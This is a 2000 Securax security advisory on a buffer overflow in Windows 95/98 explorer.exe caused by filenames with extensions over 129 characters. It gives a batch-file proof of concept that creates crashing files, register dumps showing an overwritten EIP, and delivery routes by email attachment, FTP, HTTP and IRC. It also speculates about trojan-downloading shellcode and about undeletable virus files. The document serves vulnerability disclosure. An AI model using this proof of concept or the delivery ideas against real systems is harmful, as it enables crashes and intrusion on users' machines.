=====================================================================
Securax-SA-02                                       Security Advisory
belgian.networking.security                                     Dutch
=====================================================================
Topic:          Ms Windows '95?/'98/SE explorer.exe causes a buffer
    overflow with long filename extensions.

Announced:      2000-04-21
Affects:        Ms Windows'95?, Ms Windows '98, Ms Windows '98 SE, 
    windows millenium?.
None affected:  Ms Windows NT Server/Workstation 4.0, Ms win2K
=====================================================================


         THE ENTIRE ADVISORY HAS BEEN BASED UPON TRIAL AND ERROR 
  RESULTS.  THEREFORE WE CANNOT ENSURE YOU THE INFORMATION BELOW IS 
  100% CORRECT.  THIS DOCUMENT IS SUBJECT TO CHANGE WITHOUT PRIOR
  NOTICE.

         PLEASE, IF YOU HAPPEN TO FIND MORE INFORMATION CONCERNING 
  THE BUG DISCUSSED IN THIS ADVISORY, PLEASE SHARE THIS ON BUQTRAQ.  
  THANK YOU,

I.   Background

I don't know what causes explorer to crash.
I suspect it be a buffer overflow in explorer.exe but in some cases 
i noticed other programs (that do not use explorer.exe)to crash
too. 
I don't have the time right now to start debugging, maybe i'll do so
next week. (if i find something usefull, i'll post an update)

II.  Problem Description

 When the Microsoft Windows explorer tries to access parsing a 
 filename that contains >129 chars in the extension, a buffer
 will overflow
 
And you will get this error:

EXPLORER caused an invalid page fault in
module <unknown> at 0000:61616161.
Registers:
EAX=61616161 CS=0187 EIP=61616161 EFLGS=00010246
EBX=80070032 SS=018f ESP=01a1d8fc EBP=61616161
ECX=c16b6f10 DS=018f ESI=01d0bd3c FS=5047
EDX=81724974 ES=018f EDI=7fcbd320 GS=0000
Bytes at CS:EIP:

Stack dump:
61616161 61616161 61616161 61616161 61616161 61616161 61616161 
61616161 61616161 61616161 61616161 61616161 61616161 61616161 
61616161 61616161 

 As you can notice, the EIP was overwritten during this overflow, 
 this means we can execute code from in the filename. 

 We can use 247 + 129 + 118 bytes to store data for some shell
 code.
 
 If you add some extra special characters to the file, you can cause
 it to be recognized as write only in windows (and not found in dos)
 That way, you will not be able to remove it unless you write 
 direct to the fat.
 This would make viruses invincible for AV-tools.
 
III.  Reproduction of the problem

a) creating such a file:

  place the following code in a .bat file: 

---- cut here
  
echo This will create a file that when clicked upon in windows
echo explorer or any other program that calls explorer.exe for 
echo file management will cause a buffer overflow.

dir *.* > _ . ------Buffer overflow-----------aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

echo This will cause a Blue screen of death
echo Just to show you it is possible to execute remote code.
echo (all it does is overwrite the return adress with a false one.)

dir *.* > _ . ------Blue-screen-of-death------aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa12345678AAAAAAAAAA

--- cut here
  
   now run the .bat file


b) using this bug on remote computers:


    Tested on Eudora Pro:
 You could attach the file to an e-mail and send this e-mail to
 an unsuspected computer user. When he checks his e-mail an the 
 mail program attempts to save the attachement to disk, the 
 program will crash cause due to a buffer overflow.
 
EUDORA caused an invalid page fault in
module EUDORA.EXE at 0187:00428b05.
Registers:
EAX=007f0394 CS=0187 EIP=00428b05 EFLGS=00010206
EBX=00000000 SS=018f ESP=007eff88 EBP=007f0764
ECX=006a305c DS=018f ESI=007f07a8 FS=582f
EDX=007eff8c ES=018f EDI=8173b024 GS=0000
Bytes at CS:EIP:
56 50 51 52 ff 15 50 9f 63 00 8b 15 80 2c 6b 00 
Stack dump:

 Funny note: every time you try to access the dir where the
 attachement should have been saved, your program will crash, 
 even if this program is not using explorer for it's file 
 management. (In this case you don't even have to click on the
 file or move over it and wait some time, it will crash 
 immediately, rendering the entire directory useless.

 This is what i got in Windows Commander while trying to browse the
 directory. Note: the file doesn't show up in a listing, neverthe
 less, windows commander crashes with :

Application Error
Exception EAccessViolation in module WINCMD32.EXE at 7F8B0736
Access violation at address 7FCB1946. Read of address 00580939

 Scanning this dir with scandisk does not report any problems.

c) uploading a file with this name to an FTP server, or place it
 some HTTP server available for download.

d) DCC Sends on IRC. 
 
e) many more ? 

III. Impact

 This type of attack will allow any user local or remote with 
 file creation access to run hostile code on the computer.
 (Since e-mail programs will attempt to write to disk, almost
 any windows98 user with an e-mail adress is vulnerable.)

 If someone writes some tiny code that will download and execute
 a remote trojan, this could cause a huge problem!.
 This could be used to gain root access to all windows computers 
 Just imagine what harm someone could cause if he sends out an 
 e-mail  to 10.000 persons containing code to DDoS some server ?
 
 Writing such a code might be tricky, coz we are handling with a 
 filename, and not all hex codes are accepted as a legal filename.
 (this could be partially circumvented by creating the filename 
 with a raw write to disk.) 
 
 please note that due to my exams, i don't have the time to write
 the shell code... everything stated about the executing of code 
 is purely hypothetical.

IV.  Solution
 
 none yet.
 just don't download extremely long filenames.
 
V.   Credits

 Initial bug report : |ncubus -*- overflow detection + usage concepts
 + quickly written advisory by Zoa_Chien -*- Exploit shell-code : you?
 -*- Thnx to Lamagra for testing this on NT. -*- bug by microsoft.


Final Notes: I discovered this while working on my soon to be released
tutorial: "Locally Hacking MS-Windows" if anyone has rare information
on this subject, feel free to mail me.
If any1 has a great job to offer, plies mail, i'm sick and tired of 
studying stupid things.. mmm.. that reminds me, i'd better start 
studing for my exam tomorrow morningÓ+W|~+æ|þ+éƒCARRIER LOST :-) 

Yours,

Zoa_Chien, aka da G#df@rter.      zoachien@securax.org

=====================================================================
For more information                             advisory@securax.org
Website                                        http://www.securax.org
Advisories/Text                           http://www.securax.org/pers
---------------------------------------------------------------------